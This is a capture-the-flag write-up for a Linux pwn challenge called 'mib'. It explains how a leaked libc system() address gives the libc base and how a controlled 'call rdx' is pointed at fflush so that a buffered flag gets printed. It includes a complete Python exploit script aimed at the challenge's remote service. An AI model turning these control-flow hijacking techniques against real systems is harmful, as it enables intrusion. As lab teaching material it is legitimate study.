mib (ret2libc 10)
mib (ret2libc 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: call_rdx_redirect, libc_base_from_low12_offset, raw_socket_exploitation, stdout_buffer_flush
Summary
Task: x86-64 PIE binary that reads 8 bytes from fd 1 (stdout) into rdx, then does call rdx with rdi=stdout, then _exit(1) after a buffered fprintf(stdout, \"flag: %s\"). Solution: over a raw socket (pwntools hangs on the fd-1 read), leak runtime libc system() from GOT, compute libc base via low-12-bit offset (system low12=0x410 -> 0x55410), and set rdx=libc_base+fflush_offset so call rdx flushes the buffered flag before _exit kills the process.
mib (ret2libc 10) — pwn_spbctf
Description
Внимание в бинарике чтение входных данных ошибочно делается из файлового дескриптора stdout - 1, поэтому если запускать бинарь из pwntools, то прога зависнет, но если запускать прогу из консоли, либо повесить прогу на socat или qira -s то все будет хорошо
English summary: A 64-bit x86-64 ELF mib (PIE, NX, no canary, Partial RELRO).
The author warns that input reading is mistakenly done from file descriptor 1
(stdout). As a result the program hangs when driven by pwntools (which uses
separate stdin/stdout pipes), but works fine over a console, socat, or a raw
socket where fds 0/1/2 are the same connection. Remote service at
nc 109.233.56.90 11624. Goal: get the flag printed by the binary.
Analysis
main (@0x11b5), flag global @0x40c0. Disassembly shows the following flow:
puts("gifts:")thensystem("md5sum /lib/x86_64-linux-gnu/libc.so.6")— a "gift" that prints the runtime libc md5 (the runtime libc differs from the providedlibc.so.6: runtime md5d371da546786965fe0ee40147ffef716vs provided10fdeb77eea525914332769e9cd912ae).printf("system: %p\n", &system)— reads&systemfrom the runtime GOT (@0x3fd8) and leaks the runtime libcsystem()address.printf("Your last words:").read(fd=1, buf=rbp-0x108, 8)— reads 8 attacker bytes FROM STDOUT FD (the intentional quirk). Over a socket fd 1 == the client connection, so this reads our 8 bytes; under pwntools pipes fd 1 is the output pipe → hang.fprintf(stdout, "flag: %s", &flag)— queues the flag into the buffered stdout stream (not yet written to the socket).rdx = <the 8 bytes just read>;call rdx; then_exit(1).
The trap
_exit(1) is the raw syscall — it does NOT flush stdio buffers. If call rdx
crashes (e.g. rdx = 0), the process dies before the flag: ... line is ever
written to the socket. Verified: sending 8 × \x00 yields only the md5 gift, the
system: 0x...c410 leak, then Segmentation fault — no flag line.
Right before the indirect call, the code sets rdi = stdout. So call rdx
is effectively rdx(stdout). If we point rdx at a libc function that flushes
stdout when called as fn(stdout), the buffered flag: line is written out, and
only then _exit terminates.
Solution
1. Recover libc base from the leak
The leaked runtime system() ends in ...410. The low 12 bits (page offset) are
invariant under ASLR. For the Ubuntu/glibc-2.31 family, system offset is
0x55410 (low 12 = 0x410, matching the leak). Therefore:
libc_base = leaked_system - 0x55410
2. Choose rdx = a stdout-flushing function
fn(stdout) must flush stdout. fflush(stdout) does exactly this. The fflush
offset 0x854c0 (taken from the provided libc; close enough to the runtime build):
rdx = libc_base + 0x854c0 # fflush(stdout) -> flushes "flag: ..." then _exit runs
Fallbacks that also flush stdout when called as fn(stdout): exit (0x49bc0,
runs atexit + flush), puts (0x875a0), fwrite (0x86480). fflush worked.
3. Use a RAW socket, not pwn.remote
Because the binary reads from fd 1, pwntools' separate stdin/stdout pipes
cause a hang. Use socket.create_connection. Sleep ~2s after connect so the
md5sum gift subprocess finishes, parse the system: 0x... line, send p64(rdx)
as the 8 bytes, then recv the flushed flag.
python read-only • copy allowed#!/usr/bin/env python3 import socket, struct, time, re, sys HOST, PORT = "109.233.56.90", 11624 SYSTEM_OFF = 0x55410 # offsets of functions that flush stdout when called as fn(rdi=stdout) CANDIDATES = { "fflush": 0x854c0, "exit": 0x49bc0, "puts": 0x875a0, "fwrite": 0x86480, } def attempt(name, off): s = socket.create_connection((HOST, PORT), timeout=15) s.settimeout(6) time.sleep(2.0) # let the md5sum gift subprocess finish buf = b"" try: while b"last words" not in buf and b"system:" not in buf: data = s.recv(4096) if not data: break buf += data except socket.timeout: pass try: for _ in range(3): data = s.recv(4096) if not data: break buf += data except socket.timeout: pass m = re.search(rb"system:\s*(0x[0-9a-fA-F]+)", buf) if not m: print(f"[{name}] NO LEAK. buf={buf!r}") s.close() return None sysaddr = int(m.group(1), 16) base = sysaddr - SYSTEM_OFF rdx = base + off print(f"[{name}] system={hex(sysaddr)} base={hex(base)} rdx={hex(rdx)}") # the 8 bytes are read from fd 1; they become rdx for `call rdx` s.sendall(struct.pack("<Q", rdx)) time.sleep(1.0) out = b"" try: while True: data = s.recv(4096) if not data: break out += data except socket.timeout: pass s.close() print(f"[{name}] response: {out!r}") fm = re.search(rb"(spbctf\{[^}]*\})", out) return fm.group(1).decode() if fm else None def main(): order = sys.argv[1:] or ["fflush", "exit", "puts", "fwrite"] for name in order: for _ in range(2): try: flag = attempt(name, CANDIDATES[name]) except Exception as e: print(f"[{name}] exc: {e}") time.sleep(1) continue if flag: print("FLAG FOUND:", flag, "via", name) return flag time.sleep(1) print("No flag obtained.") if __name__ == "__main__": main()
Verified run
leak system=0x71cf237aa410
base =0x71cf23755000
rdx(fflush)=0x71cf237da4c0
response: ... flag: spbctf{REDACTED}
fflush(stdout) flushed the buffered flag: line on the first attempt, then
_exit(1) terminated the process.